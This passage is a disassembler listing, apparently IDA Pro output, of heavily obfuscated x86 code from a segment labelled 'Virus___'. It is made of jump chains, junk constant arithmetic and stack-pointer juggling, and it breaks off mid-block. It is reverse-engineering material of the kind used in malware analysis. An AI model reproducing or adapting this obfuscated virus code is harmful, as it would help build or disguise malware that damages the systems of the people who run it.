loc_5548F0:				; CODE XREF: Virus___:0055F012j
		pop	edi
		push	1D7Ah
		mov	[esp], edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55A7A8
; ---------------------------------------------------------------------------


loc_55490D:				; CODE XREF: Virus___:00551297j
		sub	esp, 4
		jmp	loc_5525E3
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_552237
; ---------------------------------------------------------------------------


loc_55491E:				; CODE XREF: Virus___:0055CFADj
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_562F78
; ---------------------------------------------------------------------------


loc_554928:				; CODE XREF: Virus___:005500D4j
		pop	esi
		push	ebp
		push	esp
		jmp	loc_5585B1
; ---------------------------------------------------------------------------


loc_554930:				; CODE XREF: Virus___:00556C82j
		add	edi, 5E0A6A99h
		dec	edi
		jmp	loc_55DB4D
; ---------------------------------------------------------------------------


loc_55493C:				; CODE XREF: Virus___:0055F200j
		pop	ecx
		jmp	loc_560B66
; ---------------------------------------------------------------------------


loc_554942:				; CODE XREF: Virus___:00556CC3j
		push	eax
		mov	eax, ebx
		mov	edx, eax
		pop	eax
		pop	ebx
		add	edx, 11A116D6h
		jmp	loc_55790D
; ---------------------------------------------------------------------------


loc_554954:				; CODE XREF: Virus___:00553251j
		push	9DFh
		mov	[esp], ebp
		push	edi
		jmp	loc_562742
; ---------------------------------------------------------------------------


loc_554962:				; CODE XREF: Virus___:0056036Bj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_558768
; ---------------------------------------------------------------------------


loc_55496D:				; CODE XREF: Virus___:0055049Cj
		push	ecx
		mov	ecx, 2426E3Dh
		jmp	loc_553CA4
; ---------------------------------------------------------------------------


loc_554978:				; CODE XREF: Virus___:005516C1j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55BCE8
; ---------------------------------------------------------------------------


loc_554988:				; CODE XREF: Virus___:00556806j
		mov	edx, [esp]
		jmp	loc_563054
; ---------------------------------------------------------------------------


loc_554990:				; CODE XREF: Virus___:0054FC1Bj
		dec	ecx
		push	eax
		mov	eax, 4FB2339Eh
		jmp	loc_553FB9
; ---------------------------------------------------------------------------


loc_55499C:				; CODE XREF: Virus___:00558763j
		push	dword ptr [esp]
		jmp	loc_551A05
; ---------------------------------------------------------------------------
		lodsd
		push	4D7h
		mov	[esp], ebp
		mov	ebp, 4A35031Eh
		sub	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_561DAE
; ---------------------------------------------------------------------------


loc_5549C3:				; CODE XREF: Virus___:00554B92j
		neg	esi
		not	esi
		jmp	loc_560662
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_555943
; ---------------------------------------------------------------------------


loc_5549E5:				; CODE XREF: Virus___:0055832Dj
		add	[esp+4], edx
		pop	edx
		pop	ecx
		jmp	loc_55DBD9
; ---------------------------------------------------------------------------


loc_5549F0:				; CODE XREF: Virus___:00560C4Ej
		pop	edi
		jmp	loc_55E1AE
; ---------------------------------------------------------------------------


loc_5549F6:				; CODE XREF: Virus___:00557163j
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 67FD07EAh
		shr	esi, 8
		sub	esi, 119A2A2Eh
		add	esi, 58155A45h
		sub	esi, 2DC64A19h
		sub	esi, 191CE301h
		jmp	loc_562633
; ---------------------------------------------------------------------------


loc_554A20:				; CODE XREF: Virus___:0055730Bj
		mov	esp, [esp]
		sub	esi, 3841112Bh
		add	esi, eax
		add	esi, 3841112Bh
		push	eax
		push	edx
		mov	edx, 0F5C16A7h
		not	edx
		sub	edx, 48417613h
		xor	edx, 179E2A71h
		add	edx, 641EFE78h
		mov	eax, edx
		pop	edx
		sub	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 11055761h
		add	esi, edx
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	1FA32AB2h
		pop	ecx
		shr	ecx, 8
		not	ecx
		jmp	loc_5618ED
; ---------------------------------------------------------------------------


loc_554A89:				; CODE XREF: Virus___:00550B52j
		push	edi
		push	7FD46FDAh
		pop	edi
		add	edi, 0AA83DA5h
		or	edi, 6F3A3829h
		sub	edi, 0ECB04E72h
		mov	eax, edi
		pop	edi
		add	ebp, eax
		pop	eax
		xor	ebp, 519959CBh
		push	64EEh
		mov	[esp], edi
		jmp	loc_555532
; ---------------------------------------------------------------------------


loc_554ABB:				; CODE XREF: Virus___:00553501j
		add	dword ptr [esp], 4
		jmp	loc_557C55
; ---------------------------------------------------------------------------


loc_554AC4:				; CODE XREF: Virus___:0055C6E6j
		pop	ecx
		add	bl, 0E9h
		jmp	loc_54FD7E
; ---------------------------------------------------------------------------


loc_554ACD:				; CODE XREF: Virus___:0055C829j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	edx
		push	ebx
		mov	bh, 40h
		mov	dl, 0E3h
		add	dl, 0D0h
		sub	dl, bh
		sub	dl, 0D0h
		pop	ebx
		and	ah, dl
		pop	edx
		xor	ah, 23h
		add	cl, ah
		pop	eax
		sub	al, 19h
		add	al, cl
		add	al, 19h
		mov	ecx, [esp]
		add	esp, 4
		push	6ACAh
		mov	[esp], ecx
		push	ebx
		push	ecx
		mov	ch, 0C9h
		and	ch, 50h
		and	ch, 0AAh
		not	ch
		add	ch, 2Ch
		mov	bh, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	cl, bh
		mov	dl, cl
		mov	ecx, [esp]
		jmp	loc_5582FE
; ---------------------------------------------------------------------------


loc_554B2B:				; CODE XREF: Virus___:0055AE11j
		not	eax
		xchg	eax, ebp
		shl	ebp, 7
		shl	ebp, 8
		jmp	loc_55769C
; ---------------------------------------------------------------------------


loc_554B39:				; CODE XREF: Virus___:00554C4Bj
		add	eax, ecx
		add	eax, 2353158h
		add	eax, 44E5526h
		pop	ecx
		push	edi
		mov	edi, 2
		sub	eax, 49441C6Fh
		add	eax, edi
		add	eax, 49441C6Fh
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_554B6E:				; CODE XREF: Virus___:005561B6j
		dec	ebx
		not	ebx
		jmp	loc_5538A4
; ---------------------------------------------------------------------------


loc_554B76:				; CODE XREF: Virus___:00552D88j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_560821
; ---------------------------------------------------------------------------


loc_554B7F:				; CODE XREF: Virus___:0055F168j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_554214
; ---------------------------------------------------------------------------


loc_554B8C:				; CODE XREF: Virus___:005545FBj
		push	esi
		mov	esi, 61F49AFh
		jmp	loc_5549C3
; ---------------------------------------------------------------------------


loc_554B97:				; CODE XREF: Virus___:00560D08j
		push	esi
		mov	esi, 56FB6E10h
		push	esi
		pop	edx
		pop	esi
		push	edi
		mov	edi, 7D956FCAh
		and	edi, 5CFE1621h
		push	0
		add	dword ptr [esp], 26600401h
		add	dword ptr [esp], 63F7676Ah
		sub	[esp], edi
		sub	dword ptr [esp], 63F7676Ah
		sub	dword ptr [esp], 26600401h
		jmp	loc_56278E
; ---------------------------------------------------------------------------


loc_554BD5:				; CODE XREF: Virus___:00563889j
		pop	edx
		sub	al, bl
		add	al, 6Dh
		pop	ebx
		add	bl, 40h
		push	ecx
		mov	ch, 9
		xor	ch, 10h
		jmp	loc_55A556
; ---------------------------------------------------------------------------


loc_554BE9:				; CODE XREF: Virus___:00560768j
		pop	ebx
		add	esp, 4
		push	2BC7h
		mov	[esp], esi
		mov	esi, 146349ADh
		add	esi, 7AEA0F9Ch
		xor	esi, 472C776Dh
		jmp	loc_5642EA
; ---------------------------------------------------------------------------


loc_554C0E:				; CODE XREF: Virus___:00555031j
		add	ebp, 398A26ECh
		jmp	loc_558565
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	eax
		mov	eax, 60361F16h
		push	eax
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	ebp
		jmp	loc_5574A0
; ---------------------------------------------------------------------------


loc_554C4A:				; CODE XREF: Virus___:005620FAj
		pop	esi
		jmp	loc_554B39
; ---------------------------------------------------------------------------


loc_554C50:				; CODE XREF: Virus___:0055AB36j
		add	edi, 0D750A9B2h
		add	esi, edi
		pop	edi
		jmp	loc_55D880
; ---------------------------------------------------------------------------


loc_554C5E:				; CODE XREF: Virus___:00555E86j
		push	edi
		push	5318h
		jmp	loc_5530E4
; ---------------------------------------------------------------------------


loc_554C69:				; CODE XREF: Virus___:00552633j
		sub	eax, 55D66A44h
		add	esi, 6C1E6588h
		jmp	loc_5641F3
; ---------------------------------------------------------------------------


loc_554C79:				; CODE XREF: Virus___:00563AFFj
		push	ebp
		sub	dword ptr [esp], 280E5610h
		jmp	loc_55F2C3
; ---------------------------------------------------------------------------


loc_554C86:				; CODE XREF: Virus___:005625F0j
		xor	edi, 39491EFEh
		jmp	loc_55060E
; ---------------------------------------------------------------------------


loc_554C91:				; CODE XREF: Virus___:0055A86Aj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_5646A7
; ---------------------------------------------------------------------------


loc_554C9F:				; CODE XREF: Virus___:00551847j
		push	ebx
		mov	ebx, esp
		jmp	loc_55A273
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_558FAE
; ---------------------------------------------------------------------------


loc_554CAF:				; CODE XREF: Virus___:0055419Aj
		mov	edx, 5950CA45h
		sub	edx, edi
		pop	edi
		push	613Bh
		jmp	loc_555099
; ---------------------------------------------------------------------------


loc_554CC1:				; CODE XREF: Virus___:0055377Fj
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	edx, ecx
		pop	ecx
		neg	edx
		jmp	loc_55CAED
; ---------------------------------------------------------------------------


loc_554CD1:				; CODE XREF: Virus___:005520ECj
		mov	esp, [esp]
		jmp	loc_557C72
; ---------------------------------------------------------------------------


loc_554CD9:				; CODE XREF: Virus___:0056305Dj
		push	esi
		jmp	loc_5634EE
; ---------------------------------------------------------------------------


loc_554CDF:				; CODE XREF: Virus___:0055DCDAj
		mov	esi, ecx
		pop	ecx
		push	0A96h
		mov	[esp], ecx
		mov	ecx, 0EA2F0BD3h
		jmp	loc_553315
; ---------------------------------------------------------------------------


loc_554CF4:				; CODE XREF: Virus___:0056040Cj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_563392
; ---------------------------------------------------------------------------


loc_554D03:				; CODE XREF: Virus___:005577FDj
		push	4725h
		jmp	loc_559345
; ---------------------------------------------------------------------------


loc_554D0D:				; CODE XREF: Virus___:0055CE92j
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		imul	ecx, eax
		jmp	loc_55E00D
; ---------------------------------------------------------------------------


loc_554D1F:				; CODE XREF: Virus___:0055A65Bj
		or	ebx, 8F56C41h
		jmp	loc_560B97
; ---------------------------------------------------------------------------


loc_554D2A:				; CODE XREF: Virus___:00562CFCj
		sub	edx, ebx
		pop	ebx
		add	edx, ebp
		add	edx, 75957496h
		push	dword ptr [esp]
		jmp	loc_55EF3B
; ---------------------------------------------------------------------------


loc_554D3D:				; CODE XREF: Virus___:0055C04Dj
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_556996
; ---------------------------------------------------------------------------


loc_554D4C:				; CODE XREF: Virus___:0055D9F4j
		push	2BA5h
		jmp	loc_553995
; ---------------------------------------------------------------------------


loc_554D56:				; CODE XREF: Virus___:0055B506j
		sub	eax, ebx
		add	eax, 2B615C17h
		jmp	loc_5635DC
; ---------------------------------------------------------------------------


loc_554D62:				; CODE XREF: Virus___:0055AD78j
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_554DB2
; ---------------------------------------------------------------------------


loc_554D7E:				; CODE XREF: Virus___:0055B756j
		push	edi
		jmp	loc_559450
; ---------------------------------------------------------------------------


loc_554D84:				; CODE XREF: Virus___:0055A0C3j
		add	ecx, edx
		sub	ecx, 6A7327C4h
		add	ecx, 24C92B41h
		pop	edx
		jmp	loc_559DA1
; ---------------------------------------------------------------------------


loc_554D98:				; CODE XREF: Virus___:005551B5j
		inc	eax
		add	eax, 0C905371h
		not	eax
		xor	eax, 73B6358Eh
		shl	eax, 6
		sub	eax, 2E9BEF39h
		jmp	loc_553671
; ---------------------------------------------------------------------------


loc_554DB2:				; CODE XREF: Virus___:00554D79j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 332E33CFh
		shr	edx, 3
		jmp	loc_558AB3
; ---------------------------------------------------------------------------


loc_554DC7:				; CODE XREF: Virus___:00563F97j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55179C
; ---------------------------------------------------------------------------


loc_554DD2:				; CODE XREF: Virus___:00552A12j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_558F20
; ---------------------------------------------------------------------------


loc_554DDB:				; CODE XREF: Virus___:0055018Ej
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_5641A1
; ---------------------------------------------------------------------------


loc_554DEE:				; CODE XREF: Virus___:005615C9j
		pop	ecx
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	3146h
		mov	[esp], ebx
		mov	ebx, 5E384028h
		sub	ebx, 572040C3h
		or	ebx, 14E53057h
		add	ebx, 71191B6Eh
		sub	ebx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 67261FD7h
		not	ecx
		push	edx
		mov	edx, 5D8D6139h
		push	edi
		jmp	loc_55DC32
; ---------------------------------------------------------------------------


loc_554E37:				; CODE XREF: Virus___:0055078Cj
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5585AB
; ---------------------------------------------------------------------------


loc_554E42:				; CODE XREF: Virus___:0055600Ej
		and	edx, 43841653h
		dec	edx
		shr	edx, 3
		sub	edx, 8F76D2D2h
		mov	ebp, edx
		jmp	loc_55ABF3
; ---------------------------------------------------------------------------


loc_554E59:				; CODE XREF: Virus___:0055DB60j
		push	edx
		jmp	loc_55200E
; ---------------------------------------------------------------------------


loc_554E5F:				; CODE XREF: Virus___:0055CC51j
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_554E6C:				; CODE XREF: Virus___:00554676j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5638CC
; ---------------------------------------------------------------------------


loc_554E7A:				; CODE XREF: Virus___:0055E452j
		push	edi
		mov	edi, 46B0203Eh
		push	eax
		mov	eax, 58730B59h
		and	edi, eax
		jmp	loc_550325
; ---------------------------------------------------------------------------


loc_554E8D:				; CODE XREF: Virus___:00553FB4j
		mov	ebp, 1BD4BD0h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 327A5BD0h
		add	ebp, 0E9051B6Ch
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_558F48
; ---------------------------------------------------------------------------


loc_554EB6:				; CODE XREF: Virus___:0055BB85j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E93E
; ---------------------------------------------------------------------------


loc_554EC4:				; CODE XREF: Virus___:0055F3F1j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5602F0
; ---------------------------------------------------------------------------


loc_554ED2:				; CODE XREF: Virus___:005626F8j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 332603D9h
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		inc	ebp
		shl	ebp, 7
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3D7E69F3h
		shl	ecx, 8
		inc	ecx
		shr	ecx, 6
		xor	ecx, 7F84BD78h
		add	ebp, ecx
		pop	ecx
		shl	ebp, 5
		push	eax
		mov	eax, 597F739Ah
		and	eax, 2B8D21EDh
		shl	eax, 3
		xor	eax, 24CF4163h
		add	eax, 7DE77028h
		push	ebx
		jmp	loc_561E2A
; ---------------------------------------------------------------------------


loc_554F35:				; CODE XREF: Virus___:00564C83j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_558806
; ---------------------------------------------------------------------------


loc_554F3F:				; CODE XREF: Virus___:0055B43Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5560C9
; ---------------------------------------------------------------------------


loc_554F56:				; CODE XREF: Virus___:00564845j
		add	ecx, 2F50566Ah
		jmp	loc_55C82E
; ---------------------------------------------------------------------------


loc_554F61:				; CODE XREF: Virus___:0055B9E2j
		mov	[esp], eax
		mov	eax, 4B46216h
		shl	eax, 4
		jmp	loc_5608D0
; ---------------------------------------------------------------------------


loc_554F71:				; CODE XREF: Virus___:0055C3A2j
		pop	ecx
		sub	ecx, 739A590Bh
		sub	ecx, edi
		add	ecx, 739A590Bh
		jmp	loc_55A00C
; ---------------------------------------------------------------------------


loc_554F85:				; CODE XREF: Virus___:00561A94j
		mov	esp, [esp]
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_550639
; ---------------------------------------------------------------------------


loc_554FA3:				; CODE XREF: Virus___:005514B2j
		push	edx
		mov	edx, ecx
		mov	esi, edx
		pop	edx
		jmp	loc_5602B1
; ---------------------------------------------------------------------------


loc_554FAE:				; CODE XREF: Virus___:0055F388j
		add	eax, 7D0E0A27h
		add	eax, 264C55A9h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	[edi+1Ch], eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_552757
; ---------------------------------------------------------------------------


loc_554FDC:				; CODE XREF: Virus___:00554389j
		mov	ebx, [esp]
		push	ecx
		jmp	loc_558D38
; ---------------------------------------------------------------------------


loc_554FE5:				; CODE XREF: Virus___:005547E4j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, 5D964CC9h
		xor	ebp, 73280F2Ah
		xchg	esi, ebp
		jmp	loc_55D6B5
; ---------------------------------------------------------------------------


loc_555003:				; CODE XREF: Virus___:0055A0E7j
		not	cl
		dec	cl
		xor	cl, 36h
		inc	cl
		add	cl, 0C3h
		jmp	loc_55A342
; ---------------------------------------------------------------------------


loc_555014:				; CODE XREF: Virus___:00555972j
		and	esi, 6DA42B07h
		dec	esi
		sub	esi, 1126E935h
		sub	eax, esi
		pop	esi
		jmp	loc_55C696
; ---------------------------------------------------------------------------


loc_555029:				; CODE XREF: Virus___:00558820j
		sub	ebp, 398A26ECh
		add	ebp, edx
		jmp	loc_554C0E
; ---------------------------------------------------------------------------


loc_555036:				; CODE XREF: Virus___:0054F805j
		pop	ebx
		push	edx
		mov	edx, 2
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5628DB
; ---------------------------------------------------------------------------


loc_555055:				; CODE XREF: Virus___:005564C6j
		add	ebx, 0CF18511Ch
		sub	edi, ebx
		pop	ebx
		sub	edi, ebp
		add	edi, 0B68744Ch
		pop	ebp
		dec	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_555E2A
; ---------------------------------------------------------------------------


loc_555076:				; CODE XREF: Virus___:0055A551j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55507B:				; CODE XREF: Virus___:00559AB4j
		mov	[esp], esi
		jmp	loc_553231
; ---------------------------------------------------------------------------


loc_555083:				; CODE XREF: Virus___:005570EAj
		sub	ecx, 9003A56h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56295F
; ---------------------------------------------------------------------------


loc_555099:				; CODE XREF: Virus___:00554CBCj
		mov	[esp], ecx
		push	ebx
		jmp	loc_55E2CA
; ---------------------------------------------------------------------------


loc_5550A2:				; CODE XREF: Virus___:00555717j
		pop	eax
		add	esp, 4
		add	ebx, 0A9FEB802h
		add	edi, 4B837F5Ch
		sub	edi, ebx
		sub	edi, 4B837F5Ch
		mov	ebx, [esp]
		jmp	loc_54FB29
; ---------------------------------------------------------------------------


loc_5550C5:				; CODE XREF: Virus___:00553130j
		pop	edx
		push	eax
		mov	eax, 3FB1D39h
		xor	eax, 3FB1D3Dh
		add	edx, eax
		pop	eax
		push	3BE3h
		mov	[esp], ebx
		jmp	loc_555B1F
; ---------------------------------------------------------------------------


loc_5550E1:				; CODE XREF: Virus___:00553421j
		mov	esp, [esp]
		mov	[esp], cx
		mov	cl, 0CBh
		sub	bl, cl
		pop	cx
		add	bl, 81h
		jmp	loc_55A14B
; ---------------------------------------------------------------------------


loc_5550F6:				; CODE XREF: Virus___:005510D6j
		xor	edi, 36DD4519h
		add	edi, 0A806B240h
		add	esi, edi
		jmp	loc_55BB8A
; ---------------------------------------------------------------------------


loc_555109:				; CODE XREF: Virus___:00564446j
		push	eax
		push	0EAD6C7Ah
		pop	eax
		not	eax
		inc	eax
		inc	eax
		sub	eax, 43D30FB4h
		dec	eax
		jmp	loc_553FDD
; ---------------------------------------------------------------------------


loc_55511F:				; CODE XREF: Virus___:00559279j
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		xor	dword ptr [esp], 67881832h
		jmp	loc_55BAF1
; ---------------------------------------------------------------------------


loc_555137:				; CODE XREF: Virus___:00564CBAj
		sub	bh, 1
		add	bh, 4Ch
		add	al, bh
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_56353C
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 34FF0000h, 7BF3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55515A:				; CODE XREF: Virus___:00551B48j
		mov	ebp, 76252EA7h
		and	ebp, 5D4A7C6Bh
		shr	ebp, 7
		shr	ebp, 3
		dec	ebp
		jmp	loc_556255
; ---------------------------------------------------------------------------


loc_555171:				; CODE XREF: Virus___:00562C3Dj
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_5540FB
; ---------------------------------------------------------------------------


loc_555188:				; CODE XREF: Virus___:00563D0Aj
		mov	edx, 3DF772B2h
		sub	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 57E20882h
		pop	esi
		push	edi
		mov	edi, 2C1B50DDh
		push	eax
		mov	eax, 4D121902h
		jmp	loc_560C6A
; ---------------------------------------------------------------------------


loc_5551AF:				; CODE XREF: Virus___:005558E3j
		push	eax
		mov	eax, 6620288Fh
		jmp	loc_554D98
; ---------------------------------------------------------------------------


loc_5551BA:				; CODE XREF: Virus___:005526FBj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, 5D9B35FCh
		push	edi
		mov	edi, 7F863FC6h
		jmp	loc_55350D
; ---------------------------------------------------------------------------


loc_5551D4:				; CODE XREF: Virus___:005596CAj
		push	dword ptr [esp]
		jmp	loc_55CDE1
; ---------------------------------------------------------------------------


loc_5551DC:				; CODE XREF: Virus___:00563112j
		add	esp, 4
		push	2B8Fh
		jmp	loc_55B8E7
; ---------------------------------------------------------------------------


loc_5551E9:				; CODE XREF: Virus___:005621D3j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_561CF1
; ---------------------------------------------------------------------------


loc_5551F6:				; CODE XREF: Virus___:00555859j
		dec	eax
		sub	eax, 1
		jmp	loc_560AB6
; ---------------------------------------------------------------------------


loc_555201:				; CODE XREF: Virus___:0055CF36j
		pop	ecx
		and	esi, 3B770E20h
		xor	esi, 1A720E00h
		push	esi
		pop	eax
		jmp	loc_552B0F
; ---------------------------------------------------------------------------


loc_555215:				; CODE XREF: Virus___:00560528j
		sub	ebx, 6A42108Bh
		push	168Dh
		jmp	loc_55588E
; ---------------------------------------------------------------------------


loc_555225:				; CODE XREF: Virus___:0054FD4Bj
		mov	[esp], ecx
		push	esi
		mov	esi, 0B98424Ah
		mov	ecx, esi
		pop	esi
		sub	eax, ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_559119
; ---------------------------------------------------------------------------


loc_55523C:				; CODE XREF: Virus___:0055B2D9j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_55F4F9
; ---------------------------------------------------------------------------


loc_55525C:				; CODE XREF: Virus___:0055C8ABj
		mov	edi, esp
		jmp	loc_551D71
; ---------------------------------------------------------------------------


loc_555263:				; CODE XREF: Virus___:0055C7CAj
		mov	edx, 4855612Eh
		dec	edx
		jmp	loc_55FA44
; ---------------------------------------------------------------------------


loc_55526E:				; CODE XREF: Virus___:0054FBA4j
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55473D
; ---------------------------------------------------------------------------


loc_555278:				; CODE XREF: Virus___:0055424Bj
		add	ecx, 4
		jmp	loc_563A8C
; ---------------------------------------------------------------------------


loc_555283:				; CODE XREF: Virus___:00554484j
		push	3743h
		jmp	loc_55AC08
; ---------------------------------------------------------------------------


loc_55528D:				; CODE XREF: Virus___:0055F321j
		pop	dx
		pop	edx
		xor	ch, 0C8h
		add	bl, 97h
		sub	bl, ch
		sub	bl, 97h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5645E9
; ---------------------------------------------------------------------------


loc_5552A4:				; CODE XREF: Virus___:0055BDCAj
		sub	eax, 1207355Fh
		jmp	loc_55D4B1
; ---------------------------------------------------------------------------


loc_5552AE:				; CODE XREF: Virus___:0055913Fj
		push	2845h
		jmp	loc_551965
; ---------------------------------------------------------------------------


loc_5552B8:				; CODE XREF: Virus___:005646C5j
		xor	esi, 548C385Ah
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		and	esi, 36175E8Ah
		add	esi, 0DC915984h
		sub	edx, 10D2529Eh
		add	edx, esi
		add	edx, 10D2529Eh
		pop	esi
		jmp	loc_550620
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55F8E3
; ---------------------------------------------------------------------------


loc_5552F0:				; CODE XREF: Virus___:00551647j
		add	edi, 4C2A5A59h
		sub	edi, 19023D84h
		pop	ecx
		add	edi, ebx
		add	edi, 6CC16A83h
		pop	ebx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_56066B
; ---------------------------------------------------------------------------


loc_555311:				; CODE XREF: Virus___:0055B737j
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555323:				; CODE XREF: Virus___:00556AE2j
		and	ecx, 21AC757Fh
		jmp	loc_551C87
; ---------------------------------------------------------------------------


loc_55532E:				; CODE XREF: Virus___:005564DCj
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_5602C1
; ---------------------------------------------------------------------------


loc_555344:				; CODE XREF: Virus___:0055C74Cj
		push	ecx
		mov	ecx, 65674641h
		jmp	loc_54FC0F
; ---------------------------------------------------------------------------


loc_55534F:				; CODE XREF: Virus___:005512D5j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	794Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_564139
; ---------------------------------------------------------------------------


loc_555373:				; CODE XREF: Virus___:00561373j
		mov	edx, esp
		add	edx, 4
		jmp	loc_562422
; ---------------------------------------------------------------------------


loc_555380:				; CODE XREF: Virus___:0055B205j
		xor	ebp, 58019A6Bh
		push	30A0h
		mov	[esp], ebp
		sub	dword ptr [esp], 56E01950h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563986
; ---------------------------------------------------------------------------


loc_5553A3:				; CODE XREF: Virus___:00553FFBj
		mov	eax, esp
		push	10ADh
		mov	[esp], edx
		mov	edx, 11061E7Fh
		jmp	loc_557297
; ---------------------------------------------------------------------------


loc_5553B7:				; CODE XREF: Virus___:0055C516j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 454E0A3Eh
		neg	edi
		not	edi
		jmp	loc_558342
; ---------------------------------------------------------------------------


loc_5553D2:				; CODE XREF: Virus___:005541D4j
		mov	[esp], ebp
		mov	ebp, 1
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 104A0CE3h
		push	ebp
		mov	ebp, 5FFD12FFh
		sub	esi, ebp
		pop	ebp
		jmp	loc_5556BD
; ---------------------------------------------------------------------------


loc_5553F1:				; CODE XREF: Virus___:0055D68Bj
		inc	eax
		shl	eax, 3
